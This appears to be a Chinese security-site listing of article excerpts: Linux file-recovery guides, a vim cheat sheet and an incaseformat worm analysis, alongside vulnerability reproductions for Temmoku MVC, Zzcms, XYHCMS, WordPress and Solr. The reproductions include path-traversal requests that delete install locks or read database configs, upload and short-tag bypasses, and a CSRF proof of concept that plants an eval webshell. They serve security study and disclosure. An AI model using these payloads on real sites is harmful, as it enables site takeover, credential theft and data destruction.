Linux 系统中成功恢复已删除的文件 安全闲碎

Linux 系统中成功恢复已删除的文件

来自:DevOps技术栈当用户意外地删除了一个仍然需要的文件时,大多数情况下,是没有简便的方法可以重新找回或重建这个文件。不过,幸运的是文件是可以通过一些方法恢复的。当用户删除了一个文件,该文件并没有消失,只是被隐藏了一段时间。这里将解释它是如何工作的。在一个文件系统中,有一个叫做 文件分配表 的东西,这个表跟踪文件在存储单元(如硬盘, MicroSD 卡,闪存驱动器等等)中的位置。当一个文件被删除,文件系统将会在文件分配表中执行以下两个任务之一:这个文件在文件分配表上的条目被标记为 “自由空间” 或删除文件分配表里这个文件的条目,且将相应的空间被标记为自由空间 。现在,如果有一个新的文件需要被放置在一个存储单元上,操作系统将会把这个文件放置到标记为空位的地方。在新文件被写入到这个空位后,被删除的文件就彻底消失了。当需要恢复一个已经删除的文件时,用户绝对不能再对任何文件进行操作,因为假如该文件对应的“空位”被占用,这个文件就永远也不能恢复了。恢复软件是如何工作的?大多数的文件系统(在删除文件时)只是标记空间为空白。在这些文件系统下,恢复软件查看文件分配表这个文件,然后复制被删除的文件到另外的存储单元中。假如该文件被复制到其它需要恢复的被删除的存储单元中,那么用户将有可能会失去那个所需的删除文件。文件系统很少会擦除文件分配表中的条目。假如文件系统真的这样做了, 这便是恢复软件在恢复文件了。恢复软件在存储单元中扫描文件头,所有文件都拥有一个特殊的编码字符串,它们位于文件的最前面,也被叫做 魔法数字。例如,一个编译的 JAVA 类文件的魔法数字在十六进制中是“CAFEBABE”。所以,假如要恢复该类型的文件,恢复软件会查找 “CAFEBABE” 然后复制文件到另一个存储单元。一些恢复软件可以查找某种特殊的文件类型。若用户想恢复一个 PDF 文件,则恢复软件将会查找十六进制的魔法数字 “25504446”,这恰恰是 ASCII 编码中的 “%PDF”。恢复软件将会查找所有的魔法数字,然后用户可以选择恢复哪个已删除的文件。假如一个文件的部分被覆写了,则整个文件就会被损坏。通常这个文件可以被恢复,但是其中的内容可能已经没有什么用处。例如,恢复一个已损坏的 JPEG 文件将会是无意义的,因为图片查看器不能从这个损坏的文件产生一幅图片。因此,即使用户拥有了这个文件,该文件也将毫无用处。设备的位置:在我们继续之前,下面的一些信息将会对指引恢复软件找到正确的存储单元起到一定的帮助。所有的设备均挂载在 /dev/ 目录下。操作系统赋予每个设备的名称(并不是管理员给予每个分区或设备的名称)遵循一定的命名规律。第一个 SATA 硬盘的第二个分区的名称将会是 sda2。名称的第一个字母暗示了存储类型,在这里指的是 SATA,但字母 “s” 也可能指的是 SCSI、 FireWire(火线端口)或 USB。第二个字母 “d” 指的是 disk(硬盘)。第三个字母指的是设备序数,即字母 “a” 指的是第一个 SATA 而 “b” 指的是第二个。最后的数字代表分区。没有分区数字的设备名代表该设置的所有分区。对于上面的例子,对应的名称为 sda 。作为命名的第一个字母还可能是 “h” ,这对应 PATA 硬盘(IDE)。以下为命名规律的一些例子。假如一个用户有一个 SATA 硬盘(sda),这个设备有 4 个分区- sda1、 sda2、 sda3 和 sda4 。该用户删除了第三个分区,但直到格式化第四个分区之前,第四个分区名 sda4 都将保留不变。然后该用户插入了一个带有一个分区 - 即sdb1- 的 usb 存储卡(sdb),又增加了一个带有一个分区 -hda1- 的 IDE 硬盘 ,接着该用户又增加了一个 SCSI 硬盘 - sdc1 。接着用户移除了 USB 存储卡(sdb)。现在,SCSI 硬盘的名称仍然为 sdc,但如果这个 SCSI 被移除接着再被插入,则它的名称将变为 sdb。虽然还有其他的存储设备存在, 那个 IDE 硬盘的名称仍会有一个 “a”, 因为它是第一个 IDE 硬盘,IDE 设备的命名与 SCSI、 SATA、 FireWire 和 USB 设备要分开计数。使用 TestDisk 进行恢复:每个恢复软件有其不同的功能,特征及支持的不同文件系统。下面是一些关于 使用 TestDisk...
阅读全文
审计|通读审计之天目MVC(附原创漏洞)下篇 代码审计

审计|通读审计之天目MVC(附原创漏洞)下篇

本篇文章由团队成员提供:HeiHu577本文章已在FreeBuf发表目录:由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。RedCode Team 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。0x06 前台任意文件删除漏洞(可重装整站)我们从了解框架整个结构时,发现检查验证是通过判断app/conf/install.lock来使网站是否安装的,如果存在任意文件删除漏洞,那么攻击者即可直接将目标点网站重装。而删除文件的函数为unlink()函数,我们全局搜索一下,看一下前台哪些地方调用了unlink函数。我们看到该成员方法有形式参数,那么我们在本类看一下哪里调用了img_move方法直接将$_POST传入进来,下面我们回来img_move方法看一下程序有没有做过滤之类的。使用strpos以及stristr进行验证是否在tmp目录下,strpos函数返回字符串的位置,stristr返回/tmp的剩余部分,我们可以这样构造进行绕过:idcard_zheng=tmp/../../app/conf/install.lock构造HTTP请求包:POST /?temmoku_dirs=user/renzheng/index&type=idcard HTTP/1.1Host: www.temmoku.comContent-Type: application/x-www-form-urlencodedCookie:用户的COOKIEConnection: closeContent-Length: 48step=post&_type=1&idcard_zheng=tmp/../../app/conf/install.lock运行结果:再次请求index.php成功进入安装向导0x07 双引号解析漏洞导致的后台GETSHELL我们之前了解MVC框架时,有了解到/app/conf/文件夹下的所有内容都会被包含,笔者在这里简单翻了翻看到./app/conf/setting.php文件中以双引号保存值这些配置可以从后台进行配置。在?temmoku_dirs=/admin/setting/article中我们可以看到配置项。我们将它改为attachment${@phpinfo()},如图:Phpinfo:Phpinfo成功被双引号所解析。0x08 CSRF钓鱼管理员直接GETSHELL因为双引号解析漏洞在后台,同时只需要一个简单带有管理员COOKIE的HTTP请求就可以完成攻击演练。我们当然不想让它这么鸡肋的活着,同时我们在了解框架时,整个框架没有对CSRF进行防护。那么我们可以由此漏洞搭配CSRF来使漏洞更加易于利用。笔者编写了如下POC进行测试:<?php$url = 'http://192.168.1.6/';?><!DOCTYPE html><html><head> <title></title></head><body> <form action="<?php echo $url;?>/index.php?temmoku_dirs=/admin/setting/article" method="post" id="form"> <input type="hidden" name="web" value="Y/m/d/"> <input type="hidden" name="web" value="1"> <input type="hidden" name="web" value="1"> <input type="hidden" name="web" value="attachment${@eval($_POST)}"> <input type="hidden" name="web" value="1"> <input type="hidden" name="web" value="1"> <input type="hidden" name="web" value=""> <input type="hidden" name="step" value="post"> </form> <script type="text/javascript"> var oForm = document.getElementById('form'); oForm.submit(); window.location = "<?php echo $url;?>";</script></body></html>放置在攻击者的WEB服务器上,在第二行可以定义目标站点,然后构造URL使管理员点击。当管理员在后台登录的状态下打开即可直接修改setting.php文件,将${@eval($_POST)写入文件中,攻击者可以连接index.php密码c进行管理webshell。0x09 官网检测代码审计完成后笔者发现官网就是使用的该系统,并开启了用户注册功能。联系上站长得到授权后笔者将漏洞详情写到本篇文章中进行分享。(现官网已修复)我们代码审计过程中有挖掘到只需要前台正常用户权限就可以进行SQL注入的漏洞。笔者在官网中发现开启DEBUG模式,我们进行报错注入,看一下是否可以注入user()函数的信息。读取后台账户密码进入后台进入后台后:使用我们后台的getshell方法Getshell:0x10 其他GETSHELL点白盒审计虽然比较系统化,但与黑盒进行搭配才可以达到最完美的效果。比如我们在后台随便浏览一下,如图:我们就可以非常轻松的访问每个功能模块,对其fuzz的同时再次进行代码审计,可以达到出乎意料的效率。一个专注更新代码审计,渗透测试技巧的公众号~如果你通过本文学到新的知识了那么不妨转发到朋友圈让更多人学到~ 原文始发于微信公众号(RedCode Team):审计|通读审计之天目MVC(附原创漏洞)下篇
阅读全文
Apache Solr <= 8.8.2任意文件删除漏洞复现 安全文章

Apache Solr <= 8.8.2任意文件删除漏洞复现

上方蓝色字体关注我们,一起学安全!作者:🐟@Timeline Sec本文字数:949阅读时长:3~4min声明:请勿用作违法用途,否则后果自负0x01 简介Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。0x02 漏洞概述这是个"任意"文件删除漏洞, 可以删除 Files.delete() 能删的任何文件。0x03 影响版本Solr <= 8.8.20x04 环境搭建1、先在官网上下个 8.8.2 的 Solr 的安装包, 我这里为了方便就装个 Windows 版的https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.8.2/2、开一个有 core 的实例, 我这里用的是 DataImportHandler 的范例配置,进入bin目录下执行solr.cmd -e dih访问:http://IP:8983/solr/#/0x05 漏洞复现1、在C盘下新建一个test.txt2、向任意 core 的 config API 发送一个 POST 包,例如 /solr/db/config 或者 /solr/solr/config 之类的{ "add-requesthandler": { "name": "/test1", // 这里填 RequestHandler 的路径 "class":"solr.PingRequestHandler", "healthcheckFile":"../../../../../../../../../../../../../Windows/Temp/test.txt", }}2、访问http://172.16.255.2:8983/solr/db/config/overlay?omitHeader=true检查是否创建成功3、向之前发送包的 config API 发送一个 GET 请求, 参数为action=DISABLE 例如:/solr/db/test1?action=DISABLE这时会删除之前设置的文件, 同理 action=ENABLE 会生成之前设置的同名文件, 里面写的是一串 healthcheck 信息. 注意 /test 是之前设置过的路径0x06 漏洞分析很明显这个漏洞源自于 PingRequestHandler, 当一个 Config API POST 请求被提交之后, Solr 先是执行 handlePOST 函数, 经过一堆 load 和 get 之后会初始化一个 PingRequestHandler public void handleRequestBody(SolrQueryRequest req, SolrQueryResponse rsp) throws Exception { ... if ("POST".equals(httpMethod)) { ... try { command.handlePOST(); } ... }...
阅读全文
Zzcms最新产品版任意文件删除(可导致重装) 代码审计

Zzcms最新产品版任意文件删除(可导致重装)

0x00 代码审计先来看可以导致任意文件删除的地方/user/delimg.php中第12行:$id=$_REQUEST;$sql="select img,img2,img3,flv,editor from zzcms_main where id ='$id'";$rs=mysql_query($sql);$row=mysql_fetch_array($rs);if ($_REQUEST==1){if ($row<>"/image/nopic.gif"){$f="../".substr($row,1);if (file_exists($f)){unlink($f);}这里有一个任意文件删除的操作,也就是从zzcms_main中查询出来的img字段值做了一个删除操作。但是这个地方的$id虽然我们不能注入,但是是可控的,所以找一个入库的地方看看。在/user/zssave.php中第107行:if ($_POST=="add"){$isok=mysql_query("Insert into zzcms_main(proname,bigclasszm,smallclasszm,shuxing,szm,prouse,gg,pricels,sm,img,img2,img3,flv,province,city,xiancheng,zc,yq,title,keywords,description,sendtime,timefororder,editor,userid,groupid,qq,comane,renzheng,skin) values('$cp_name','$bigclassid','$smallclassid','$shuxing','$szm','$gnzz','$gg','$lsj','$sm','$img1','$img2','$img3','$flv','$province','$city','$xiancheng','$zc','$yq','$title','$keyword','$discription','".date('Y-m-d H:i:s')."','$TimeNum','$username','$userid','$groupid','$qq','$comane','$renzheng','$skin')") ;$cpid=mysql_insert_id();}elseif ($_POST=="modify"){$oldimg1=trim($_POST);$oldimg2=trim($_POST);$oldimg3=trim($_POST);$oldflv=trim($_POST);$isok=mysql_query("update zzcms_main set proname='$cp_name',bigclasszm='$bigclassid',smallclasszm='$smallclassid',shuxing='$shuxing',szm='$szm',prouse='$gnzz',gg='$gg',pricels='$lsj',sm='$sm',img='$img1',img2='$img2',img3='$img3',flv='$flv',province='$province',city='$city',xiancheng='$xiancheng',zc='$zc',yq='$yq',title='$title',keywords='$keyword',description='$discription',sendtime='".date('Y-m-d H:i:s')."',timefororder='$TimeNum',editor='$username',userid='$userid',groupid='$groupid',qq='$qq',comane='$comane',renzheng='$renzheng',skin='$skin',passed=0 where id='$cpid'");对应着action的不同,sql语句也不同,第一个是Insert,第二个update。两个sql语句中都有img这个字段。并且相对应的的值$img1也是可控的:$img1=$_POST;其次就是对于update语句,还能控制update哪一行,因为主键id的值也是可控的:$cpid=$_POST;所以结合上面所说,能够控制任意zzcms_main表中任意一行img字段的值,所以说能够删除任意文件。0x01 漏洞复现首先为了防止zzcms_main表中没有任何数据,所以我们首先进行一个增加数据的操作:http://localhost/user/zssave.phpPOST: action=add&img1=1然后更新第一行的img字段的值http://localhost/user/zssave.phpPOST: action=modify&img1=/install/install.lock&ypid=1然后我们再进行删除操作:http://localhost/user/delimg.phpPOST: action=1&id=1就能删除掉install.lock文件啦。然后开始重装。 本文始发于微信公众号(飓风网络安全):Zzcms最新产品版任意文件删除(可导致重装)
阅读全文
如何在Linux中恢复已删除的文件 安全闲碎

如何在Linux中恢复已删除的文件

点击上方“安全优佳” 可以订阅哦!在使用linux系统时,你有没有遇到这样的确情况?你意识到你错误地删除了一个文件 - 通过Del键或者rm在命令行中使用。在第一种情况下,您可以随时进入垃圾箱,搜索文件并将其恢复到原始位置。但是第二种情况呢?正如我相信你可能知道的那样,Linux系统下不会保存你删除的文件。在这篇文章中,我们将分享一个可能有助于防止这种情况发生的提示,以及一个在任何时候都可以使用的工具。创建一个别名到'rm -i'-i与rm(以及其他文件操作工具,如cp或mv)一起使用时,删除文件时,会提示你是否删除该文件。同样的情况也适用于复制,移动或重命名已存在同名文件的文件。这个提示让你有第二次机会考虑你是否真的要删除这个文件, 如果你确认提示,它将会消失。在这种情况下,我很抱歉,但这个提示并不能保护你免于你的疏忽。要用别名替换rm的'rm -i',请执行以下操作:alias rm='rm -i'该别名命令将确认RM现在别名但是,这只会在当前用户会话期间保留在当前shell中。为了使更改永久,你将不得不把它保存到~/.bash_profile(一些分布可能会使用~/.profile),如下所示:为了使~/.bash_profile(或~/.profile)中的更改立即生效,请从当前shell中获取文件:恢复工具 - 最重要的希望你会不小心删除了文件,只需要使用这个工具,同时从外部磁盘或USB驱动器恢复丢失的文件。但是,如果你不小心删除了系统中的文件,并且会恐慌 - 不要。让我们来看看最重要的一个专为这种场景设计的回复工具。要在CentOS / RHEL 7中最先安装,您需要首先启用Repoforge:#rpm -Uvh http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.3-1.el7.rf.x86_64.rpm#yum install foremost一旦安装完成,让我们继续一个简单的测试。我们将开始通过删除名为图像文件nosdos.jpg从/启动/图像目录:#cd images #rm nosdos.jpg要恢复它,首先使用如下(你需要首先标识底层分区 - 在这种情况下驻留的/dev/sda1地方/boot):#foremost -t jpg -i / dev / sda1 -o / home / gacanepa / rescue这里的/ home / gacanepa /获救是一个单独的磁盘上的目录-请记住,在位于同一驱动器上的恢复文件是不是一个明智之举。如果在恢复期间,您占用了被删除文件所在的磁盘扇区,则无法恢复任何内容。另外,在执行恢复之前停止所有活动是非常重要的。在首先完成执行后,恢复的文件(如果可能恢复)将在/ home / gacanepa / rescued / jpg目录中找到。总结在这篇文章中,我们已经解释了如何避免意外删除文件,以及如果发生这种不希望的事件时如何尝试恢复文件。但要注意的是,根据分区的大小,最重要的可能需要相当长的时间才能运行。安全优佳http://news.secwk.com长按识别左侧二维码,关注我们 本文始发于微信公众号(安全优佳):如何在Linux中恢复已删除的文件
阅读全文
vim使用指北 安全博客

vim使用指北

Vim命令模式页面操作跳转首页1gg 跳转尾页1G 上翻页按键Page Up 下翻页按键Page Down 移动光标 命令 描述 h 左移动 j 下移动 k 上移动 l 右移动 ^ 移动到行首 $ 移动到行尾 :n 移动到n行首 复制 命令 描述 yy 复制单行,复制后使用p粘贴 nyy 复制n行,复制后使用p粘贴 删除、剪切 命令 描述 x 删除单个字母 nx 删除光标后n个字母 dd 删除单行 ndd 删除光标后n行 :n,md 删除n到m的行 p(小) 粘贴到光标后 P(大) 粘贴到光标前 dG 删除光标所在行到文件尾行 保存与退出命令 命令 描述 :w 保存不退出。 :w 新文件名 把文件另存为新文件。 :q 不保存退出。 :wq 保存后退出。 :! 强制。 :q! 强制不保存退出,用于修改文件后,不保存数据退出。 :wq! 强制保存退出,对于没有没有写权限的时候,强制数据写入。 (more…)
阅读全文
最新版wordpress任意文件删除漏洞复现 安全漏洞

最新版wordpress任意文件删除漏洞复现

点击t00ls关注,每天叫醒你的不是闹钟,而是姿势0x01 前言在推特上看到了一篇paper,wp很久没看到洞了,这个漏洞七个月之前就上报了可以直接利用删除图片那个功能删除网站配置文件,导致网站只能重装。0X01 复现过程这是我下载的最新版wordpress(4.9.6)登陆后台:上传张图片:然后edit发挥一下Curl的作用。执行:这里把里面的cookie和_wpnonce还有post的值换成你的。_wpnonce在页面中:302跳转说明编辑成功。现在点击Delete Permanently即可。配置文件成功删除。漏洞原理作者博客上有细节,本意是删除缩略图。但是没有对路径做限制,导致可以任意文件删除。作者给的修复代码0x02 Sakura鸡肋之处在于需要管理员权限,但是危害蛮大的。 本文始发于微信公众号(T00ls):最新版wordpress任意文件删除漏洞复现
阅读全文
文库|XYHCMS漏洞 代码审计

文库|XYHCMS漏洞

高质量的安全文章,安全offer面试经验分享尽在 # 掌控安全EDU #作者:掌控安全-柚子一.XYHCMS 3.2 后台任意文件删除漏洞介绍影响版本是XYHCMS 3.2,漏洞的成因是没有对删除的文件没有做任何限制,导致可以直接把安装文件删除。漏洞分析打开/App/Manage/Controller/DatabaseController.class.php 文件。锁定 delSqlFiles()函数。漏洞复现1.进入后台2.删除安装锁文件方法一:get方式http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/xyhai.php?s=/Database/delSqlFiles/sqlfilename/..\..\..\install/install.lock方法二:post方式http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/xyhai.php?s=/Database/delSqlFiles /batchFlag/1POST数据:key= ../../../install/install.lock3.接下来直接访问 http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/install 重装cms二.XYHCMS 3.2 后台任意文件下载漏洞介绍影响版本是XYHCMS 3.2,漏洞的成因是没有对下载的文件做任何限制。漏洞分析找到/App/Manage/Controller/DatabaseController.class.php文件。锁定downfile()方法下载函数。这里并没有对下载的文件有限制,所以我们可以通过这段代码去构造poc。漏洞复现1.进入后台页面。2.构造pochttp://127.0.0.1/xyhcms_3.5_20171128/uploads_code/xyhai.php?s=/Database/downFile/file/..\..\..\App\Common\Conf\db.php/type/zip3.数据库配置文件就下载下来了。三.XYHCMS 3.5任意文件读取漏洞环境准备XYHCMS官网:http://www.xyhcms.com/网站源码版本:XYHCMS V3.5(2017-12-04 更新)程序源码下载:http://www.xyhcms.com/Show/download/id/2/at/0.html漏洞分析漏洞文件位置:/App/Manage/Controller/TempletsController.class.php 第59-83行:声明了3个变量:$ftype 文件类型;$fname 文件名;$file_path 文件路径这段代码对提交的参数进行处理,然后判断是否POST数据上来如果有就进行保存等,如果没有POST数据,将跳过这段代码继续向下执行。通过这段代码,我们发现可以通过GET传入fname,跳过前面的保存文件过程,进入文件读取状态。问题就出现在这里,对fname进行base64解码,判断fname参数是否为空,拼接成完整的文件路径,然后判断这个文件是否存在,读取文件内容。对fname未进行任何限制,导致程序在实现上存在任意文件读取漏洞,可以读取网站任意文件,攻击者可利用该漏洞获取敏感信息。我们可以通过GET方式提交fname参数,并且将fname进行base64编码,构造成完整的路径,读取配置文件信息。漏洞复现登录网站后台数据库配置文件路径:AppCommonConfdb.php我们将这段组成相对路径,......AppCommonConfdb.php,然后进行base64编码,Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==最后构造的链接如下:http://127.0.0.1/XYHCms_V3.5/uploads_code/xyhai.php?s=/Templets/edit/fname/Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==修复建议取消base64解码,过滤.(点)等可能的恶意字符。正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置。四.xyhcms 3.6 后台代码执行漏洞漏洞描述XYHCMS是一款开源的CMS内容管理系统。XYHCMS后台存在代码执行漏洞,攻击者可利用该漏洞在site.php中增加恶意代码,从而可以获取目标终端的权限。代码中使用黑名单过滤<?php 却忘记过滤短标签,导致后台系统设置-网站设置处可使用短标签在站点表述处getshell。漏洞分析按步骤安装好网站之后,找到../App/Runtime/Data/config/site.php 这个文件。找到对应功能看他是怎么控制的。很明显,我们要去找一个System相关的控制器。这里可以锁定App/Manage/Controller/SystemController.class.php 这个文件。if (stripos($data, '<?php') !== false || preg_match($preg_param, $data)) { $this->error('禁止输入php代码'); }这里就是可以直接写入到php文件 ,而且我们可以看到他使用了黑名单禁止<?php写入但是我们看到这里让开启了短标签,(PHP默认是开启PHP短标签的,即默认情况下short_open_tag=ON)<?=,它和 <? echo 等价, 从 PHP 5.4.0 起, <?= 总是可用的漏洞复现找到后台—系统设置—网站设置<?=phpinfo();?>就可以很简单的绕过限制。修复方法官方已经在最新版修复,简单粗暴的过滤if (stripos($data, '<?php') !== false || ($short_open_tag && stripos($data, '<?') !== false) || preg_match($preg_param, $data)) { $this->error('禁止输入php代码'); }即当开启短标签时过滤<?,使得我们的php写入失效。五.XYHCMS 3.6 后台文件上传getshell漏洞介绍此漏洞的影响范围是XYHCMS 3.6。漏洞形成原因是:对后缀过滤不严,未过滤php3-5,phtml(老版本直接未过滤php)。漏洞分析找到/App/Manage/Controller/SystemController.class.php文件中第246-255行代码if (!empty($data)) { $data = strtolower($data); $_file_exts = explode(',', $data); $_no_exts = array('php', 'asp', 'aspx', 'jsp'); foreach ($_file_exts as $ext) { if (in_array($ext, $_no_exts)) { $this->error('允许附件类型错误!不允许后缀为:php,asp,aspx,jsp!'); } } }会看到她不允许的文件后缀有:php,asp,aspx,jsp。我们可以通过这个思路,上传php3-5,phtml文件后缀的文件就能够绕过限制。漏洞复现1.进入后台2.系统设置->网站设置->上传配置->允许附件类型3.添加类型 php3或 php4或 php5 或 phtml4.点击下面的 水印图片上传上传以上后缀shell5.之后会在图片部分显示上传路径六.XYHCMS...
阅读全文
【漏洞预警】Wordpress任意删除文件到代码执行 安全漏洞

【漏洞预警】Wordpress任意删除文件到代码执行

Ps:本文仅靠谷歌翻译(毕竟我的英语水平-6级)该漏洞影响:任何Wordpress版本,包括4.9.6!利用此漏洞使攻击者能够删除WordPress安装的任何文件(+ PHP服务器上的任何其他文件,PHP进程用户具有适当的删除权限)。除了删除整个WordPress安装的可能性(如果没有当前备份可用会导致灾难性后果),攻击者可以利用任意文件删除功能绕过一些安全措施并在Web服务器上执行任意代码。更确切地说,可以删除以下文件:.htaccess:通常,删除此文件不会有任何安全后果。但是,在某些情况下,.htaccess文件包含与安全相关的约束(例如,对某些文件夹的访问限制)。删除此文件将会禁用这些安全限制。index.php文件:通常情况下,将空的index.php文件放置到目录中,以防止Web服务器无法执行的情况下的目录列表。删除这些文件将为攻击者提供一份列表,列出受此措施保护的目录中的所有文件。wp-config.php:删除这个WordPress安装文件会在下次访问该网站时触发WordPress安装过程。这是因为wp-config.php包含数据库凭证,如果没有它,WordPress的行为就好像它尚未安装。攻击者可以删除该文件,使用管理员帐户选择的凭据进行安装过程,最后在服务器上执行任意代码。 演示demo细节将未处理的用户输入传递给文件删除功能时,会发生任意文件删除漏洞。在PHP中,当unlink()调用该函数并且用户输入可能会影响部分或整个参数$filename(表示要删除的文件的路径)时,会发生这种情况,而不进行适当的清理。在该wp-includes/post.php文件中找到了在WordPress Core中使这个漏洞成为可能的代码部分:/wp-includes/post.phpfunction wp_delete_attachment( $post_id, $force_delete = false ) { ⋮ $meta = wp_get_attachment_metadata( $post_id ); ⋮ if ( ! empty($meta) ) { // Don't delete the thumb if another attachment uses it. if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta ) . '%', $post_id)) ) {    $thumbfile = str_replace(basename($file), $meta, $file); /** This filter is documented in wp-includes/functions.php */    $thumbfile = apply_filters( 'wp_delete_file', $thumbfile );    @ unlink( path_join($uploadpath, $thumbfile) ); } } ⋮}在wp_delete_attachement()上面显示的功能中,$meta呼叫中使用的内容unlink()未经过任何清理。这段代码的目的是在删除图像的同时删除图像的缩略图。在WordPress中通过媒体管理器上传的图像被表示为附属类型的帖子。该值$meta从数据库中检索,并保存为表示图像的文章的自定义字段2。因此,在从数据库检索到关键函数调用中的使用之间unlink(),表示缩略图文件名的值不经过任何清理或检查。如果该值在保存到数据库之前也没有经过任何或不足的安全措施,我们将在下一个代码清单中看到这种情况,我们有一个二阶任意文件删除漏洞。/wp-admin/post.php⋮switch($action) {⋮ case 'editattachment':      ...
阅读全文
incaseformate传播与复现 安全文章

incaseformate传播与复现

一、事件说明2021-01-13日一种名为incaseformat的蠕虫在国内爆发,该蠕虫执行后将删除被感染计算机所有非系统软件,蠕虫设定的下一次删除时间为1月23日,建议各用户做好U盘防护及查杀工作。二、已知样本  经过分析,1506 KB大小样本为未压缩样本,tsay样本已压缩三、病毒分析1、病毒信息病毒名称:incaseformat病毒类型:蠕虫病毒病毒危害:删除用户除系统盘外的所有磁盘文件,并在磁盘的根目录下创建名为incaseformat.log文件2、病毒行为样本在windows目录下运行,会复制自身到同目录下,并且修改注册表。HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedHideFileExt的值为 1。 此外还会通过修改注册表,实现不显示隐藏文件及隐藏已知文件类型扩展名,涉及的注册表项包括:HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedHiddenHKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedHideFileExtHKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALLcheckedvalueHKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHideFileExtcheckedvalue四、传播场景复现1、A机在已运行病毒样本情况下,插入U盘。2、U盘内原有121xxxx文件夹被病毒成功感染。 3、B机未感染病毒主机情况。 4、插入从A机拔下已被感染的的U盘。 5、打开U盘查看存在病毒。。 6、运行U盘内被感染的文件。 7、主机 A 和主机 B 同时修改为病毒触发时间。病毒执行删除操作。五、查杀与恢复1、主机排查排查主机Windows目录下是否存在图标为文件夹的tsay.exe文件,若存在该文件,及时删除即可,删除前切勿对主机执行重启操作。2、数据恢复切勿对被删除文件的分区执行写操作,以免覆盖原有数据,然后使用常见的数据恢复软件(如:Finaldata、recuva、DiskGenius等)即可恢复被删除数据。3、病毒清理由于病毒出现年份较早,主流杀毒软件均可对该病毒进行查杀,用户也可通过以下手工方式进行清理修复:1)通过任务管理器结束病毒相关进程(ttry.exe)2)删除Windows目录下驻留文件tsay.exe和ttry.exe及注册表相关启动(RunOnce)3)恢复上述被病毒篡改的用于隐藏文件及扩展名的相关注册表项。  本文始发于微信公众号(连接世界的暗影):incaseformate传播与复现
阅读全文
超全!Linux 误删文件恢复命令及方法 安全闲碎

超全!Linux 误删文件恢复命令及方法

请点击上面  一键关注!作者:漠效https://blog.csdn.net/GX_1_11_real/article/details/84571303前言无论在哪个系统中,删除文件都是必须谨慎的操作。因为如果不小心删除了重要文件,就会导致个人或公司出现重大的损失。类似于windows系统误删了文件,可以使用一些软件进行恢复操作。Linux也是有几款软件可以做到误删恢复的。注意事项:虽然有软件可以对误删的数据进行恢复,但是完全恢复数据的概率并不是百分百的。因此,使用rm命令删除文件的时候,一定要小心;重要的数据一定要有备份;并且恢复删除的数据前,删除文件的目录内不能往进存放新东西,否则覆盖掉的信息无法找回。下面介绍的就是对Linux中误删文件的恢复操作。1、lsof原理:这个命令实际上并不能直接用来恢复文件,不过它可以列出被各种进程打开的文件信息。配合其他命令,从/proc目录下的信息中恢复“文件已删除,但进程仍保持打开该文件的状态”的文件。/proc目录是挂载的是在内存中所映射的一块区域,当我们对这些文件进行读取和写入时,实际上是在从内存中获取相关信息。因此,当我们对文件进行读取或写入时(即有进程正使用文件时),哪怕硬盘中的该文件已删除,还可以从内存中的信息恢复文件。注意:必须以 root 用户的权限运行, 因为lsof 需要访问核心内存和各种文件。只能恢复“文件已删除,但进程仍保持打开该文件的状态”的文件。如果误删了目录,目录中的其他文件未被进程打开,没有进行使用的文件将无法使用此方法恢复。lsof输出信息的意义:COMMAND 进程的PID(进程标识符)USER 进程所有者FD 用来识别该文件(文件描述符)DEVICE 指定磁盘的名称SIZE 文件的大小NODE 索引节点(文件在磁盘上的标识)NAME 打开文件的确切名称最常用参数: -c 显示某进程现在打开的文件 -p 显示哪些文件被某pid进程打开 -g 显示归属某gid的进程情况 -d 显示目录下被进程开启的文件 -d 显示使用fd为4的进程 -i:80 显示打开80端口的进恢复文件操作环境:在/mnt下有一些文件,其中一个文件train.less正在被查看,然后另一个终端将其删除【1】lsof查看查看正在使用删除文件的进程号lsof /mnt【2】恢复切换到/proc下,删除文件对应的进程的pid下的文件描述符中的目录中;将对应的内容重定向或cp到其他文件中重点关注:PID 与 FD cd /proc/31284/fd/ cat 4 > /mnt/ferris_train.less2、extundelete原理:使用存储在分区日志中的信息,尝试恢复已从ext3或ext4的分区中删除的文件优点:相比于ext3grep只能恢复ext3文件系统的文件,其适用范围更广,恢复速度更快extundelete官方地址(官方文档):http://extundelete.sourceforge.netextundelete下载地址:http://downloads.sourceforge.net/project/extundelete/extundelete/0.2.4/extundelete-0.2.4.tar.bz2(最新版本的extundelete是0.2.4,于2013年1月发布)注意:在数据删除之后,要卸载被删除数据所在的磁盘或是分区如果是系统根分区遭到误删除,就要进入单用户模式,将根分区以只读的方式挂载,尽可能避免数据被覆盖数据被覆盖后无法找回恢复仍有一定的机率失败,平时应对重要数据作备份,小心使用rm安装1、依赖安装centos安装操作yum install e2fsprogs-devel e2fsprogs* gcc*ubuntu安装操作apt-get install build-essential e2fslibs-dev e2fslibs-dev2、编译安装wget http://downloads.sourceforge.net/project/extundelete/extundelete/0.2.4/extundelete-0.2.4.tar.bz2tar xf extundelete-0.2.4.tar.bz2cd extundelete-0.2.4./configuremakemake installcd /root/extundelete-0.2.4/srcextundelete -v执行make命令会在src目录下生成extundelete可执行文件,可在此直接执行恢复命令。执行make 